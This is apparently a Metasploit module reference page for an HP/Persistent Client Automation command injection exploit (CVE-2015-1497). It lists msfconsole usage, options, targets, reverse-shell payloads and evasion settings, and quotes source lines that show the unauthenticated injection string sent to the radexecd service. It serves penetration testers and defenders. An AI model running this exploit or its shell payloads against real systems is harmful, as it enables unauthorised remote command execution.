HP Client Automation Command Injection - Metasploit
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Module Overview
Name: HP Client Automation Command Injection
Module: exploit/multi/misc/persistent_hpca_radexec_exec
Source code: modules/exploits/multi/misc/persistent_hpca_radexec_exec.rb
Disclosure date: 2014-01-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Unix, Windows
Target service / protocol: -
Target network port(s): 3465
List of CVEs: CVE-2015-1497
This module exploits a command injection vulnerability on HP Client Automation, distributed actually as Persistent Systems Client Automation. The vulnerability exists in the Notify Daemon (radexecd.exe), which doesn't authenticate execution requests by default. This module has been tested successfully on HP Client Automation 9.00 on Windows 2003 SP2 and CentOS 5.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/misc/persistent_hpca_radexec_exec
msf exploit(persistent_hpca_radexec_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/misc/persistent_hpca_radexec_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/persistent_hpca_radexec_exec
msf6 exploit(multi/misc/persistent_hpca_radexec_exec) > show info
Name: HP Client Automation Command Injection
Module: exploit/multi/misc/persistent_hpca_radexec_exec
Platform: Unix, Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2014-01-02
Provided by:
Ben Turner
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 HP Client Automation 9.0.0 / Linux
1 HP Client Automation 9.0.0 / Windows
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3465 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Space: 466
Avoid: 1 characters
Description:
This module exploits a command injection vulnerability on HP Client
Automation, distributed actually as Persistent Systems Client
Automation. The vulnerability exists in the Notify Daemon
(radexecd.exe), which doesn't authenticate execution requests by
default. This module has been tested successfully on HP Client
Automation 9.00 on Windows 2003 SP2 and CentOS 5.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-1497
http://www.zerodayinitiative.com/advisories/ZDI-15-038
https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features
Module Options
This is a complete list of options available in the multi/misc/persistent_hpca_radexec_exec exploit:
msf6 exploit(multi/misc/persistent_hpca_radexec_exec) > show options
Module options (exploit/multi/misc/persistent_hpca_radexec_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3465 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 HP Client Automation 9.0.0 / Linux
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/persistent_hpca_radexec_exec exploit:
msf6 exploit(multi/misc/persistent_hpca_radexec_exec) > show advanced
Module advanced options (exploit/multi/misc/persistent_hpca_radexec_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/persistent_hpca_radexec_exec module can exploit:
msf6 exploit(multi/misc/persistent_hpca_radexec_exec) > show targets
Exploit targets:
Id Name
-- ----
0 HP Client Automation 9.0.0 / Linux
1 HP Client Automation 9.0.0 / Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/persistent_hpca_radexec_exec exploit:
msf6 exploit(multi/misc/persistent_hpca_radexec_exec) > show payloads
Compatible Payloads
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# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
2 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
3 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
6 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/persistent_hpca_radexec_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/persistent_hpca_radexec_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Invalid target
Here is a relevant code snippet related to the "Invalid target" error message:
99: execute_cmdstager({:flavor => :vbs, :linemax => 290})
100: when 'unix'
101: print_status('Exploiting Linux target...')
102: exploit_unix
103: else
104: fail_with(Failure::NoTarget, 'Invalid target')
105: end
106: end
107:
108: def exploit_unix
109: connect
Something failed executing the stager...
Here is a relevant code snippet related to the "Something failed executing the stager..." error message:
119: sock.put("\x00") # port
120: sock.put("S-1-5-18\x00") # user ID
121: sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password
122: sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected
123: res = sock.get_once
124: disconnect
125: unless res && res.unpack('C')[0] == 0
126: fail_with(Failure::Unknown, "Something failed executing the stager...")
127: end
128: end
129: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #4839 Merged Pull Request: Fixup release
- #4804 Merged Pull Request: Add module for ZDI-15-038, Persistent (HP) Client Automation Command Injection RCE
References
- CVE-2015-1497
- ZDI-15-038
- https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features
See Also
Check also the following modules related to this module:
- exploit/multi/misc/arkeia_agent_exec
- exploit/multi/misc/bmc_patrol_cmd_exec
- exploit/multi/misc/consul_rexec_exec
- exploit/multi/misc/consul_service_exec
- exploit/multi/misc/freeswitch_event_socket_cmd_exec
- exploit/multi/misc/hp_data_protector_exec_integutil
- exploit/multi/misc/hp_vsa_exec
- exploit/multi/misc/legend_bot_exec
- exploit/multi/misc/nomad_exec
- exploit/multi/misc/openview_omniback_exec
- exploit/multi/misc/osgi_console_exec
- exploit/multi/misc/pbot_exec
- exploit/multi/misc/ra1nx_pubcall_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/misc/w3tw0rk_exec
- exploit/multi/misc/xdh_x_exec
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Authors
- Ben Turner
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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